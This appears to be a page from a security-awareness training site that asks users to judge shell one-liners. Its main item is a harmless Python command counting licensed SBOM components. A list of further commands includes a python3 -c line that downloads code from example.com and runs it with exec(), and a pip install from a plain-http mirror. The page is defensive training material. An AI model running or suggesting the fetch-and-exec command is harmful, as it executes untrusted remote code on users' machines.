Safe
python3 -c "import json; d=json.load(open('sbom.json')); print(len([c for c in d.get('components',[]) if c.get('licenses')]))"cross-platform · python · Nightmare
Counts how many components in a local software bill of materials declare a license. python3 -c is the same entry point used by malicious one-liners, so judge what follows: this parses JSON and prints an integer.
Think you can spot these under time pressure?
Start TrainingMore Python
find . -name "*.pyc" -deleteIntermediatepython3 -m http.server 8000 --bind 127.0.0.1Advancedpip install --require-hashes -r requirements.txtExpertpip install --index-url http://mirror.example.net/simple requestsAdvancedpython3 -c "import urllib.request as u; exec(u.urlopen('https://example.com/s').read())"Nightmarepython3 -c "import pickletools; pickletools.dis(open('model.pkl','rb'))"Expert